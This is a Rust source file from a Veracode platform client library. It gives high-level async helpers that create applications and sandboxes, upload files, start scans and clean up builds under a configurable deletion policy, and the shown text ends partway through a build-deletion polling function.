veracode_platform/
workflow.rs

1//! High-level workflow helpers for common Veracode operations.
2//!
3//! This module provides convenience functions that combine multiple API operations
4//! to implement common workflows like the complete application/sandbox lifecycle.
5
6use crate::{
7    VeracodeClient, VeracodeError,
8    app::{Application, BusinessCriticality},
9    build::{Build, BuildError},
10    sandbox::{Sandbox, SandboxError},
11    scan::ScanError,
12    validation::AppGuid,
13};
14use log::{debug, info};
15
16/// High-level workflow operations for Veracode platform
17pub struct VeracodeWorkflow {
18    client: VeracodeClient,
19}
20
21/// Result type for workflow operations
22pub type WorkflowResult<T> = Result<T, WorkflowError>;
23
24/// Errors that can occur during workflow operations
25#[derive(Debug)]
26#[must_use = "Need to handle all error enum types."]
27pub enum WorkflowError {
28    /// Veracode API error
29    Api(VeracodeError),
30    /// Veracode API error
31    Sandbox(SandboxError),
32    /// Scan operation error
33    Scan(ScanError),
34    /// Build operation error
35    Build(BuildError),
36    /// Workflow-specific error
37    Workflow(String),
38    /// Access denied
39    AccessDenied(String),
40    /// Resource not found
41    NotFound(String),
42}
43
44impl std::fmt::Display for WorkflowError {
45    fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
46        match self {
47            WorkflowError::Api(err) => write!(f, "API error: {err}"),
48            WorkflowError::Sandbox(err) => write!(f, "Sandbox error: {err}"),
49            WorkflowError::Scan(err) => write!(f, "Scan error: {err}"),
50            WorkflowError::Build(err) => write!(f, "Build error: {err}"),
51            WorkflowError::Workflow(msg) => write!(f, "Workflow error: {msg}"),
52            WorkflowError::AccessDenied(msg) => write!(f, "Access denied: {msg}"),
53            WorkflowError::NotFound(msg) => write!(f, "Not found: {msg}"),
54        }
55    }
56}
57
58impl std::error::Error for WorkflowError {}
59
60impl From<VeracodeError> for WorkflowError {
61    fn from(err: VeracodeError) -> Self {
62        WorkflowError::Api(err)
63    }
64}
65
66impl From<SandboxError> for WorkflowError {
67    fn from(err: SandboxError) -> Self {
68        WorkflowError::Sandbox(err)
69    }
70}
71
72impl From<ScanError> for WorkflowError {
73    fn from(err: ScanError) -> Self {
74        WorkflowError::Scan(err)
75    }
76}
77
78impl From<BuildError> for WorkflowError {
79    fn from(err: BuildError) -> Self {
80        WorkflowError::Build(err)
81    }
82}
83
84/// Configuration for the complete XML API workflow
85#[derive(Debug, Clone)]
86pub struct WorkflowConfig {
87    /// Application name
88    pub app_name: String,
89    /// Sandbox name
90    pub sandbox_name: String,
91    /// Business criticality for new applications
92    pub business_criticality: BusinessCriticality,
93    /// Application description (optional)
94    pub app_description: Option<String>,
95    /// Sandbox description (optional)
96    pub sandbox_description: Option<String>,
97    /// Files to upload
98    pub file_paths: Vec<String>,
99    /// Whether to start scan automatically after upload
100    pub auto_scan: bool,
101    /// Whether to scan all modules
102    pub scan_all_modules: bool,
103}
104
105impl WorkflowConfig {
106    /// Create a new workflow configuration
107    #[must_use]
108    pub fn new(app_name: String, sandbox_name: String) -> Self {
109        Self {
110            app_name,
111            sandbox_name,
112            business_criticality: BusinessCriticality::Medium,
113            app_description: None,
114            sandbox_description: None,
115            file_paths: Vec::new(),
116            auto_scan: true,
117            scan_all_modules: true,
118        }
119    }
120
121    /// Set business criticality
122    #[must_use]
123    pub fn with_business_criticality(mut self, criticality: BusinessCriticality) -> Self {
124        self.business_criticality = criticality;
125        self
126    }
127
128    /// Set application description
129    #[must_use]
130    pub fn with_app_description(mut self, description: String) -> Self {
131        self.app_description = Some(description);
132        self
133    }
134
135    /// Set sandbox description
136    #[must_use]
137    pub fn with_sandbox_description(mut self, description: String) -> Self {
138        self.sandbox_description = Some(description);
139        self
140    }
141
142    /// Add file to upload
143    #[must_use]
144    pub fn with_file(mut self, file_path: String) -> Self {
145        self.file_paths.push(file_path);
146        self
147    }
148
149    /// Add multiple files to upload
150    #[must_use]
151    pub fn with_files(mut self, file_paths: Vec<String>) -> Self {
152        self.file_paths.extend(file_paths);
153        self
154    }
155
156    /// Set auto-scan behavior
157    #[must_use]
158    pub fn with_auto_scan(mut self, auto_scan: bool) -> Self {
159        self.auto_scan = auto_scan;
160        self
161    }
162
163    /// Set scan all modules behavior
164    #[must_use]
165    pub fn with_scan_all_modules(mut self, scan_all: bool) -> Self {
166        self.scan_all_modules = scan_all;
167        self
168    }
169}
170
171/// Result of the complete workflow
172#[derive(Debug, Clone)]
173pub struct WorkflowResultData {
174    /// Application information
175    pub application: Application,
176    /// Sandbox information
177    pub sandbox: Sandbox,
178    /// Numeric application ID for XML API
179    pub app_id: String,
180    /// Numeric sandbox ID for XML API
181    pub sandbox_id: String,
182    /// Build ID from scan initiation (if scan was started)
183    pub build_id: Option<String>,
184    /// Whether the application was newly created
185    pub app_created: bool,
186    /// Whether the sandbox was newly created
187    pub sandbox_created: bool,
188    /// Number of files uploaded
189    pub files_uploaded: usize,
190}
191
192impl VeracodeWorkflow {
193    /// Create a new workflow instance
194    #[must_use]
195    pub fn new(client: VeracodeClient) -> Self {
196        Self { client }
197    }
198
199    /// Execute the complete XML API workflow
200    ///
201    /// This method implements the full workflow:
202    /// 1. Check for application existence, create if not exist
203    /// 2. Handle access denied scenarios
204    /// 3. Check sandbox exists, if not create
205    /// 4. Handle access denied scenarios  
206    /// 5. Upload multiple files to sandbox
207    /// 6. Start prescan with available options
208    ///
209    /// # Arguments
210    ///
211    /// * `config` - Workflow configuration
212    ///
213    /// # Returns
214    ///
215    /// A `Result` containing the workflow result or an error.
216    ///
217    /// # Errors
218    ///
219    /// Returns an error if any step in the workflow fails, including API requests,
220    /// validation errors, or authentication/authorization failures.
221    pub async fn execute_complete_workflow(
222        &self,
223        config: WorkflowConfig,
224    ) -> WorkflowResult<WorkflowResultData> {
225        info!("๐Ÿš€ Starting complete Veracode XML API workflow");
226        info!("   Application: {}", config.app_name);
227        info!("   Sandbox: {}", config.sandbox_name);
228        info!("   Files to upload: {}", config.file_paths.len());
229
230        // Step 1: Check for Application existence, create if not exist
231        info!("\n๐Ÿ“ฑ Step 1: Checking application existence...");
232        let (application, app_created) =
233            match self.client.get_application_by_name(&config.app_name).await {
234                Ok(Some(app)) => {
235                    info!(
236                        "   โœ… Application '{}' found (GUID: {})",
237                        config.app_name, app.guid
238                    );
239                    (app, false)
240                }
241                Ok(None) => {
242                    info!(
243                        "   โž• Application '{}' not found, creating...",
244                        config.app_name
245                    );
246                    match self
247                        .client
248                        .create_application_if_not_exists(
249                            &config.app_name,
250                            config.business_criticality,
251                            config.app_description,
252                            None, // No teams specified
253                            None, // No repo URL specified
254                            None, // No custom KMS alias specified
255                        )
256                        .await
257                    {
258                        Ok(app) => {
259                            info!(
260                                "   โœ… Application '{}' created successfully (GUID: {})",
261                                config.app_name, app.guid
262                            );
263                            (app, true)
264                        }
265                        Err(VeracodeError::InvalidResponse(msg))
266                            if msg.contains("403") || msg.contains("401") =>
267                        {
268                            return Err(WorkflowError::AccessDenied(format!(
269                                "Access denied creating application '{}': {}",
270                                config.app_name, msg
271                            )));
272                        }
273                        Err(e) => return Err(WorkflowError::Api(e)),
274                    }
275                }
276                Err(VeracodeError::InvalidResponse(msg))
277                    if msg.contains("403") || msg.contains("401") =>
278                {
279                    return Err(WorkflowError::AccessDenied(format!(
280                        "Access denied checking application '{}': {}",
281                        config.app_name, msg
282                    )));
283                }
284                Err(e) => return Err(WorkflowError::Api(e)),
285            };
286
287        // Get numeric app_id for XML API
288        let app_guid = AppGuid::new(&application.guid)
289            .map_err(|e| WorkflowError::Api(VeracodeError::Validation(e)))?;
290        let app_id = self.client.get_app_id_from_guid(&app_guid).await?;
291        info!("   ๐Ÿ“Š Application ID for XML API: {app_id}");
292
293        // Step 2: Check sandbox exists, if not create
294        info!("\n๐Ÿงช Step 2: Checking sandbox existence...");
295        let sandbox_api = self.client.sandbox_api();
296        let (sandbox, sandbox_created) = match sandbox_api
297            .get_sandbox_by_name(&application.guid, &config.sandbox_name)
298            .await
299        {
300            Ok(Some(sandbox)) => {
301                info!(
302                    "   โœ… Sandbox '{}' found (GUID: {})",
303                    config.sandbox_name, sandbox.guid
304                );
305                (sandbox, false)
306            }
307            Ok(None) => {
308                info!(
309                    "   โž• Sandbox '{}' not found, creating...",
310                    config.sandbox_name
311                );
312                match sandbox_api
313                    .create_sandbox_if_not_exists(
314                        &application.guid,
315                        &config.sandbox_name,
316                        config.sandbox_description,
317                    )
318                    .await
319                {
320                    Ok(sandbox) => {
321                        info!(
322                            "   โœ… Sandbox '{}' created successfully (GUID: {})",
323                            config.sandbox_name, sandbox.guid
324                        );
325                        (sandbox, true)
326                    }
327                    Err(SandboxError::Api(VeracodeError::InvalidResponse(msg)))
328                        if msg.contains("403") || msg.contains("401") =>
329                    {
330                        return Err(WorkflowError::AccessDenied(format!(
331                            "Access denied creating sandbox '{}': {}",
332                            config.sandbox_name, msg
333                        )));
334                    }
335                    Err(e) => return Err(WorkflowError::Sandbox(e)),
336                }
337            }
338            Err(SandboxError::Api(VeracodeError::InvalidResponse(msg)))
339                if msg.contains("403") || msg.contains("401") =>
340            {
341                return Err(WorkflowError::AccessDenied(format!(
342                    "Access denied checking sandbox '{}': {}",
343                    config.sandbox_name, msg
344                )));
345            }
346            Err(e) => return Err(WorkflowError::Sandbox(e)),
347        };
348
349        // Get numeric sandbox_id for XML API
350        let sandbox_id = sandbox_api
351            .get_sandbox_id_from_guid(&application.guid, &sandbox.guid)
352            .await?;
353        info!("   ๐Ÿ“Š Sandbox ID for XML API: {sandbox_id}");
354
355        // Step 3: Upload multiple files to sandbox
356        info!("\n๐Ÿ“ค Step 3: Uploading files to sandbox...");
357        let scan_api = self.client.scan_api()?;
358        let mut files_uploaded: usize = 0;
359
360        for file_path in &config.file_paths {
361            info!("   ๐Ÿ“ Uploading file: {file_path}");
362            match scan_api
363                .upload_file_to_sandbox(&app_id, file_path, &sandbox_id)
364                .await
365            {
366                Ok(uploaded_file) => {
367                    info!(
368                        "   โœ… File uploaded successfully: {} (ID: {})",
369                        uploaded_file.file_name, uploaded_file.file_id
370                    );
371                    files_uploaded = files_uploaded.saturating_add(1);
372                }
373                Err(ScanError::FileNotFound(_)) => {
374                    return Err(WorkflowError::NotFound(format!(
375                        "File not found: {file_path}"
376                    )));
377                }
378                Err(ScanError::Unauthorized) => {
379                    return Err(WorkflowError::AccessDenied(format!(
380                        "Access denied uploading file: {file_path}"
381                    )));
382                }
383                Err(ScanError::PermissionDenied) => {
384                    return Err(WorkflowError::AccessDenied(format!(
385                        "Permission denied uploading file: {file_path}"
386                    )));
387                }
388                Err(e) => return Err(WorkflowError::Scan(e)),
389            }
390        }
391
392        info!("   ๐Ÿ“Š Total files uploaded: {files_uploaded}");
393
394        // Step 4: Start prescan with available options
395        let build_id = if config.auto_scan {
396            info!("\n๐Ÿ” Step 4: Starting prescan and scan...");
397            let first_file = config
398                .file_paths
399                .first()
400                .ok_or_else(|| WorkflowError::Workflow("No file paths provided".to_string()))?;
401            match scan_api
402                .upload_and_scan_sandbox(&app_id, &sandbox_id, first_file)
403                .await
404            {
405                Ok(build_id) => {
406                    info!("   โœ… Scan started successfully with build ID: {build_id}");
407                    Some(build_id)
408                }
409                Err(ScanError::Unauthorized) => {
410                    return Err(WorkflowError::AccessDenied(
411                        "Access denied starting scan".to_string(),
412                    ));
413                }
414                Err(ScanError::PermissionDenied) => {
415                    return Err(WorkflowError::AccessDenied(
416                        "Permission denied starting scan".to_string(),
417                    ));
418                }
419                Err(e) => {
420                    info!("   โš ๏ธ  Warning: Could not start scan automatically: {e}");
421                    info!(
422                        "   ๐Ÿ’ก You may need to start the scan manually from the Veracode platform"
423                    );
424                    None
425                }
426            }
427        } else {
428            info!("\nโญ๏ธ  Step 4: Skipping automatic scan (auto_scan = false)");
429            None
430        };
431
432        info!("\nโœ… Workflow completed successfully!");
433        info!("   ๐Ÿ“Š Summary:");
434        info!(
435            "   - Application: {} (created: {})",
436            config.app_name, app_created
437        );
438        info!(
439            "   - Sandbox: {} (created: {})",
440            config.sandbox_name, sandbox_created
441        );
442        info!("   - Files uploaded: {files_uploaded}");
443        if let Some(ref build_id_ref) = build_id {
444            info!(
445                "   - Scan started: {} (build ID: {})",
446                config.auto_scan, build_id_ref
447            );
448        } else {
449            info!("   - Scan started: {}", config.auto_scan);
450        }
451
452        let result = WorkflowResultData {
453            application,
454            sandbox,
455            app_id,
456            sandbox_id,
457            build_id,
458            app_created,
459            sandbox_created,
460            files_uploaded,
461        };
462
463        Ok(result)
464    }
465
466    /// Execute a simplified workflow with just application and sandbox creation
467    ///
468    /// This method implements a subset of the full workflow for cases where
469    /// you only need to ensure the application and sandbox exist.
470    ///
471    /// # Arguments
472    ///
473    /// * `app_name` - Application name
474    /// * `sandbox_name` - Sandbox name
475    /// * `business_criticality` - Business criticality for new applications
476    ///
477    /// # Returns
478    ///
479    /// A `Result` containing application and sandbox information.
480    ///
481    /// # Errors
482    ///
483    /// Returns an error if any step in the workflow fails, including API requests,
484    /// validation errors, or authentication/authorization failures.
485    pub async fn ensure_app_and_sandbox(
486        &self,
487        app_name: &str,
488        sandbox_name: &str,
489        business_criticality: BusinessCriticality,
490    ) -> WorkflowResult<(Application, Sandbox, String, String)> {
491        let config = WorkflowConfig::new(app_name.to_string(), sandbox_name.to_string())
492            .with_business_criticality(business_criticality)
493            .with_auto_scan(false);
494
495        let result = self.execute_complete_workflow(config).await?;
496        Ok((
497            result.application,
498            result.sandbox,
499            result.app_id,
500            result.sandbox_id,
501        ))
502    }
503
504    /// Get application by name with helpful error messages
505    ///
506    /// # Arguments
507    ///
508    /// * `app_name` - Application name to search for
509    ///
510    /// # Returns
511    ///
512    /// A `Result` containing the application or an error.
513    ///
514    /// # Errors
515    ///
516    /// Returns an error if any step in the workflow fails, including API requests,
517    /// validation errors, or authentication/authorization failures.
518    pub async fn get_application_by_name(&self, app_name: &str) -> WorkflowResult<Application> {
519        match self.client.get_application_by_name(app_name).await? {
520            Some(app) => Ok(app),
521            None => Err(WorkflowError::NotFound(format!(
522                "Application '{app_name}' not found"
523            ))),
524        }
525    }
526
527    /// Get sandbox by name with helpful error messages
528    ///
529    /// # Arguments
530    ///
531    /// * `app_guid` - Application GUID
532    /// * `sandbox_name` - Sandbox name to search for
533    ///
534    /// # Returns
535    ///
536    /// A `Result` containing the sandbox or an error.
537    ///
538    /// # Errors
539    ///
540    /// Returns an error if any step in the workflow fails, including API requests,
541    /// validation errors, or authentication/authorization failures.
542    pub async fn get_sandbox_by_name(
543        &self,
544        app_guid: &str,
545        sandbox_name: &str,
546    ) -> WorkflowResult<Sandbox> {
547        let sandbox_api = self.client.sandbox_api();
548        match sandbox_api
549            .get_sandbox_by_name(app_guid, sandbox_name)
550            .await?
551        {
552            Some(sandbox) => Ok(sandbox),
553            None => Err(WorkflowError::NotFound(format!(
554                "Sandbox '{sandbox_name}' not found"
555            ))),
556        }
557    }
558
559    /// Delete all builds from a sandbox
560    ///
561    /// This removes all uploaded files and scan data from the sandbox.
562    ///
563    /// # Arguments
564    ///
565    /// * `app_name` - Application name
566    /// * `sandbox_name` - Sandbox name
567    ///
568    /// # Returns
569    ///
570    /// A `Result` indicating success or an error.
571    ///
572    /// # Errors
573    ///
574    /// Returns an error if any step in the workflow fails, including API requests,
575    /// validation errors, or authentication/authorization failures.
576    pub async fn delete_sandbox_builds(
577        &self,
578        app_name: &str,
579        sandbox_name: &str,
580    ) -> WorkflowResult<()> {
581        info!("๐Ÿ—‘๏ธ  Deleting builds from sandbox '{sandbox_name}'...");
582
583        // Get application and sandbox
584        let app = self.get_application_by_name(app_name).await?;
585        let sandbox = self.get_sandbox_by_name(&app.guid, sandbox_name).await?;
586
587        // Get IDs for XML API
588        let app_guid = AppGuid::new(&app.guid)
589            .map_err(|e| WorkflowError::Api(VeracodeError::Validation(e)))?;
590        let app_id = self.client.get_app_id_from_guid(&app_guid).await?;
591        let sandbox_api = self.client.sandbox_api();
592        let sandbox_id = sandbox_api
593            .get_sandbox_id_from_guid(&app.guid, &sandbox.guid)
594            .await?;
595
596        // Delete all builds using XML API
597        let scan_api = self.client.scan_api()?;
598        match scan_api
599            .delete_all_sandbox_builds(&app_id, &sandbox_id)
600            .await
601        {
602            Ok(_) => {
603                info!("   โœ… Successfully deleted all builds from sandbox '{sandbox_name}'");
604                Ok(())
605            }
606            Err(ScanError::Unauthorized) => Err(WorkflowError::AccessDenied(
607                "Access denied deleting sandbox builds".to_string(),
608            )),
609            Err(ScanError::PermissionDenied) => Err(WorkflowError::AccessDenied(
610                "Permission denied deleting sandbox builds".to_string(),
611            )),
612            Err(ScanError::BuildNotFound) => {
613                info!("   โ„น๏ธ  No builds found to delete in sandbox '{sandbox_name}'");
614                Ok(())
615            }
616            Err(e) => Err(WorkflowError::Scan(e)),
617        }
618    }
619
620    /// Delete a sandbox
621    ///
622    /// This removes the sandbox and all its associated data.
623    ///
624    /// # Arguments
625    ///
626    /// * `app_name` - Application name
627    /// * `sandbox_name` - Sandbox name
628    ///
629    /// # Returns
630    ///
631    /// A `Result` indicating success or an error.
632    ///
633    /// # Errors
634    ///
635    /// Returns an error if any step in the workflow fails, including API requests,
636    /// validation errors, or authentication/authorization failures.
637    pub async fn delete_sandbox(&self, app_name: &str, sandbox_name: &str) -> WorkflowResult<()> {
638        info!("๐Ÿ—‘๏ธ  Deleting sandbox '{sandbox_name}'...");
639
640        // Get application and sandbox
641        let app = self.get_application_by_name(app_name).await?;
642        let sandbox = self.get_sandbox_by_name(&app.guid, sandbox_name).await?;
643
644        // First delete all builds
645        let _ = self.delete_sandbox_builds(app_name, sandbox_name).await;
646
647        // Delete the sandbox using REST API
648        let sandbox_api = self.client.sandbox_api();
649        match sandbox_api.delete_sandbox(&app.guid, &sandbox.guid).await {
650            Ok(_) => {
651                info!("   โœ… Successfully deleted sandbox '{sandbox_name}'");
652                Ok(())
653            }
654            Err(SandboxError::Api(VeracodeError::InvalidResponse(msg)))
655                if msg.contains("403") || msg.contains("401") =>
656            {
657                Err(WorkflowError::AccessDenied(format!(
658                    "Access denied deleting sandbox '{sandbox_name}': {msg}"
659                )))
660            }
661            Err(SandboxError::NotFound) => {
662                info!("   โ„น๏ธ  Sandbox '{sandbox_name}' not found (may have been already deleted)");
663                Ok(())
664            }
665            Err(e) => Err(WorkflowError::Sandbox(e)),
666        }
667    }
668
669    /// Delete an application
670    ///
671    /// This removes the application and all its associated data including all sandboxes.
672    /// Use with extreme caution as this is irreversible.
673    ///
674    /// # Arguments
675    ///
676    /// * `app_name` - Application name
677    ///
678    /// # Returns
679    ///
680    /// A `Result` indicating success or an error.
681    ///
682    /// # Errors
683    ///
684    /// Returns an error if any step in the workflow fails, including API requests,
685    /// validation errors, or authentication/authorization failures.
686    pub async fn delete_application(&self, app_name: &str) -> WorkflowResult<()> {
687        info!("๐Ÿ—‘๏ธ  Deleting application '{app_name}'...");
688
689        // Get application
690        let app = self.get_application_by_name(app_name).await?;
691
692        // First, delete all sandboxes
693        let sandbox_api = self.client.sandbox_api();
694        match sandbox_api.list_sandboxes(&app.guid, None).await {
695            Ok(sandboxes) => {
696                for sandbox in sandboxes {
697                    info!("   ๐Ÿ—‘๏ธ  Deleting sandbox: {}", sandbox.name);
698                    let _ = self.delete_sandbox(app_name, &sandbox.name).await;
699                }
700            }
701            Err(e) => {
702                info!("   โš ๏ธ  Warning: Could not list sandboxes for cleanup: {e}");
703            }
704        }
705
706        // Delete main application builds
707        let app_guid = AppGuid::new(&app.guid)
708            .map_err(|e| WorkflowError::Api(VeracodeError::Validation(e)))?;
709        let app_id = self.client.get_app_id_from_guid(&app_guid).await?;
710        let scan_api = self.client.scan_api()?;
711        match scan_api.delete_all_app_builds(&app_id).await {
712            Ok(_) => info!("   โœ… Deleted all application builds"),
713            Err(e) => info!("   โš ๏ธ  Warning: Could not delete application builds: {e}"),
714        }
715
716        // Delete the application using REST API
717        let app_guid = AppGuid::new(&app.guid)
718            .map_err(|e| WorkflowError::Api(VeracodeError::Validation(e)))?;
719        match self.client.delete_application(&app_guid).await {
720            Ok(_) => {
721                info!("   โœ… Successfully deleted application '{app_name}'");
722                Ok(())
723            }
724            Err(VeracodeError::InvalidResponse(msg))
725                if msg.contains("403") || msg.contains("401") =>
726            {
727                Err(WorkflowError::AccessDenied(format!(
728                    "Access denied deleting application '{app_name}': {msg}"
729                )))
730            }
731            Err(VeracodeError::NotFound(_)) => {
732                info!("   โ„น๏ธ  Application '{app_name}' not found (may have been already deleted)");
733                Ok(())
734            }
735            Err(e) => Err(WorkflowError::Api(e)),
736        }
737    }
738
739    /// Complete cleanup workflow
740    ///
741    /// This method performs a complete cleanup of an application and all its resources:
742    /// 1. Delete all builds from all sandboxes
743    /// 2. Delete all sandboxes  
744    /// 3. Delete all application builds
745    /// 4. Delete the application
746    ///
747    /// # Arguments
748    ///
749    /// * `app_name` - Application name to clean up
750    ///
751    /// # Returns
752    ///
753    /// A `Result` indicating success or an error.
754    ///
755    /// # Errors
756    ///
757    /// Returns an error if any step in the workflow fails, including API requests,
758    /// validation errors, or authentication/authorization failures.
759    pub async fn complete_cleanup(&self, app_name: &str) -> WorkflowResult<()> {
760        info!("๐Ÿงน Starting complete cleanup for application '{app_name}'");
761        info!("   โš ๏ธ  WARNING: This will delete ALL data associated with this application");
762        info!("   This includes all sandboxes, builds, and scan results");
763
764        match self.delete_application(app_name).await {
765            Ok(_) => {
766                info!("โœ… Complete cleanup finished successfully");
767                Ok(())
768            }
769            Err(WorkflowError::NotFound(_)) => {
770                info!("โ„น๏ธ  Application '{app_name}' not found - nothing to clean up");
771                Ok(())
772            }
773            Err(e) => {
774                info!("โŒ Cleanup encountered errors: {e}");
775                Err(e)
776            }
777        }
778    }
779
780    /// Ensure a build exists for an application or sandbox
781    ///
782    /// This method checks if a build exists and creates one if it doesn't.
783    /// This is required for uploadlargefile.do operations.
784    ///
785    /// # Arguments
786    ///
787    /// * `app_id` - Application ID (numeric)
788    /// * `sandbox_id` - Optional sandbox ID (numeric)
789    /// * `version` - Optional build version
790    ///
791    /// # Returns
792    ///
793    /// A `Result` containing the build information or an error.
794    ///
795    /// # Errors
796    ///
797    /// Returns an error if any step in the workflow fails, including API requests,
798    /// validation errors, or authentication/authorization failures.
799    pub async fn ensure_build_exists(
800        &self,
801        app_id: &str,
802        sandbox_id: Option<&str>,
803        version: Option<&str>,
804    ) -> WorkflowResult<Build> {
805        self.ensure_build_exists_with_policy(app_id, sandbox_id, version, 1)
806            .await
807    }
808
809    /// Ensure a build exists for the application/sandbox with configurable deletion policy
810    ///
811    /// This method checks if a build already exists and handles it according to the deletion policy:
812    /// - Policy 0: Never delete builds, fail if build exists
813    /// - Policy 1: Delete only "safe" builds (incomplete, failed, cancelled states)
814    /// - Policy 2: Delete any build except "Results Ready"
815    ///
816    /// # Arguments
817    ///
818    /// * `app_id` - Application ID (numeric)
819    /// * `sandbox_id` - Optional sandbox ID (numeric)
820    /// * `version` - Optional build version
821    /// * `deletion_policy` - Build deletion policy level (0, 1, or 2)
822    ///
823    /// # Returns
824    ///
825    /// A `Result` containing the build information or an error.
826    ///
827    /// # Errors
828    ///
829    /// Returns an error if any step in the workflow fails, including API requests,
830    /// validation errors, or authentication/authorization failures.
831    pub async fn ensure_build_exists_with_policy(
832        &self,
833        app_id: &str,
834        sandbox_id: Option<&str>,
835        version: Option<&str>,
836        deletion_policy: u8,
837    ) -> WorkflowResult<Build> {
838        info!("๐Ÿ” Checking if build exists (deletion policy: {deletion_policy})...");
839
840        let build_api = self.client.build_api()?;
841
842        // Try to get existing build info
843        match build_api
844            .get_build_info(&crate::build::GetBuildInfoRequest {
845                app_id: app_id.to_string(),
846                build_id: None, // Get most recent
847                sandbox_id: sandbox_id.map(|s| s.to_string()),
848            })
849            .await
850        {
851            Ok(build) => {
852                debug!("   ๐Ÿ“‹ Build already exists: {}", build.build_id);
853                if let Some(build_version) = &build.version {
854                    debug!("      Existing Version: {build_version}");
855                }
856
857                // Parse build status from attributes
858                let build_status_str = build
859                    .attributes
860                    .get("status")
861                    .or_else(|| build.attributes.get("analysis_status"))
862                    .or_else(|| build.attributes.get("scan_status"))
863                    .map(|s| s.as_str())
864                    .unwrap_or("Unknown");
865
866                let build_status = crate::build::BuildStatus::from_string(build_status_str);
867                debug!("      Build Status: {build_status}");
868
869                // Check deletion policy
870                if deletion_policy == 0 {
871                    return Err(WorkflowError::Workflow(format!(
872                        "Build {} already exists and deletion policy is set to 'Never delete' (0). Cannot proceed with upload.",
873                        build.build_id
874                    )));
875                }
876
877                // Special handling for "Results Ready" builds - create new build to preserve results
878                if build_status == crate::build::BuildStatus::ResultsReady {
879                    debug!(
880                        "   ๐Ÿ“‹ Build has 'Results Ready' status - creating new build to preserve existing results"
881                    );
882                    self.create_build_for_upload(app_id, sandbox_id, version)
883                        .await
884                }
885                // Check if build is safe to delete according to policy
886                else if build_status.is_safe_to_delete(deletion_policy) {
887                    info!(
888                        "   ๐Ÿ—‘๏ธ  Build is safe to delete according to policy {deletion_policy}. Deleting..."
889                    );
890
891                    // Delete the existing build
892                    match build_api
893                        .delete_build(&crate::build::DeleteBuildRequest {
894                            app_id: app_id.to_string(),
895                            sandbox_id: sandbox_id.map(|s| s.to_string()),
896                        })
897                        .await
898                    {
899                        Ok(_) => {
900                            info!("   โœ… Existing build deleted successfully");
901                        }
902                        Err(e) => {
903                            return Err(WorkflowError::Build(e));
904                        }
905                    }
906
907                    // Wait for build deletion to be fully processed by Veracode API
908                    info!("   โณ Waiting for build deletion to be fully processed...");
909                    self.wait_for_build_deletion(app_id, sandbox_id).await?;
910
911                    // Create new build
912                    info!("   โž• Creating new build...");
913                    self.create_build_for_upload(app_id, sandbox_id, version)
914                        .await
915                } else {
916                    Err(WorkflowError::Workflow(format!(
917                        "Build {} has status '{}' which is not safe to delete with policy {} (0=Never, 1=Safe only, 2=Except Results Ready). Cannot proceed with upload.",
918                        build.build_id, build_status, deletion_policy
919                    )))
920                }
921            }
922            Err(crate::build::BuildError::BuildNotFound) => {
923                info!("   โž• No build found, creating new build...");
924                self.create_build_for_upload(app_id, sandbox_id, version)
925                    .await
926            }
927            Err(e) => {
928                info!("   โš ๏ธ  Error checking build existence: {e}");
929                // Try to create a build anyway
930                info!("   โž• Attempting to create new build...");
931                self.create_build_for_upload(app_id, sandbox_id, version)
932                    .await
933            }
934        }
935    }
936
937    /// Create a build for file upload operations
938    ///
939    /// # Arguments
940    ///
941    /// * `app_id` - Application ID (numeric)
942    /// * `sandbox_id` - Optional sandbox ID (numeric)
943    /// * `version` - Optional build version
944    ///
945    /// # Returns
946    ///
947    /// A `Result` containing the created build information or an error.
948    async fn create_build_for_upload(
949        &self,
950        app_id: &str,
951        sandbox_id: Option<&str>,
952        version: Option<&str>,
953    ) -> WorkflowResult<Build> {
954        let build_api = self.client.build_api()?;
955
956        let build_version = if let Some(v) = version {
957            v.to_string()
958        } else {
959            // Generate a version based on timestamp if none provided
960            let timestamp = std::time::SystemTime::now()
961                .duration_since(std::time::UNIX_EPOCH)
962                .map_err(|e| WorkflowError::Workflow(format!("System time error: {e}")))?
963                .as_secs();
964            format!("build-{timestamp}")
965        };
966
967        match build_api
968            .create_build(&crate::build::CreateBuildRequest {
969                app_id: app_id.to_string(),
970                version: Some(build_version.clone()),
971                lifecycle_stage: Some(crate::build::default_lifecycle_stage().to_string()),
972                launch_date: None,
973                sandbox_id: sandbox_id.map(|s| s.to_string()),
974            })
975            .await
976        {
977            Ok(build) => {
978                info!("   โœ… Build created successfully: {}", build.build_id);
979                info!("      Version: {build_version}");
980                if sandbox_id.is_some() {
981                    info!("      Type: Sandbox build");
982                } else {
983                    info!("      Type: Application build");
984                }
985                Ok(build)
986            }
987            Err(e) => {
988                info!("   โŒ Build creation failed: {e}");
989                Err(WorkflowError::Build(e))
990            }
991        }
992    }
993
994    /// Wait for build deletion to be fully processed by the Veracode API
995    ///
996    /// This method waits up to 15 seconds (5 attempts ร— 3 seconds) for the build
997    /// to be completely removed from the Veracode system before allowing recreation.
998    ///
999    /// # Arguments
1000    ///
1001    /// * `app_id` - Application ID (numeric)
1002    /// * `sandbox_id` - Optional sandbox ID (numeric)
1003    ///
1004    /// # Returns
1005    ///
1006    /// A `Result` indicating success or timeout error.
1007    async fn wait_for_build_deletion(
1008        &self,
1009        app_id: &str,
1010        sandbox_id: Option<&str>,
1011    ) -> WorkflowResult<()> {
1012        let build_api = self.client.build_api()?;
1013        let max_attempts = 5;
1014        let delay_seconds = 3;
1015
1016        // Keep this outside the loop to avoid repeated Duration creation
1017        let sleep_duration = tokio::time::Duration::from_secs(delay_seconds);
1018
1019        for attempt in 1..=max_attempts {
1020            // Wait 3 seconds before checking
1021            tokio::time::sleep(sleep_duration).await;
1022
1023            // Check build status directly without intermediate variable
1024            match build_api
1025                .get_build_info(&crate::build::GetBuildInfoRequest {
1026                    app_id: app_id.to_string(),
1027                    build_id: None,
1028                    sandbox_id: sandbox_id.map(|s| s.to_string()),
1029                })
1030                .await
1031            {
1032                Ok(_build) => {
1033                    // Build still exists, continue waiting
1034                    if attempt < max_attempts {
1035                        info!(
1036                            "      โณ Build still exists, waiting {delay_seconds} more seconds... (attempt {attempt}/{max_attempts})"
1037                        );
1038                    } else {
1039                        info!(
1040                            "      โš ๏ธ  Build still exists after {max_attempts} attempts, proceeding anyway"
1041                        );
1042                    }
1043                }
1044                Err(crate::build::BuildError::BuildNotFound) => {
1045                    // Build is gone, we can proceed
1046                    info!("      โœ… Build deletion confirmed (attempt {attempt}/{max_attempts})");
1047                    return Ok(());
1048                }
1049                Err(e) => {
1050                    // Other error, might be temporary API issue, continue waiting
1051                    info!("      โš ๏ธ  Error checking build status: {e} (attempt {attempt})");
1052                }
1053            }
1054        }
1055
1056        // Even if build still exists after max attempts, continue with creation
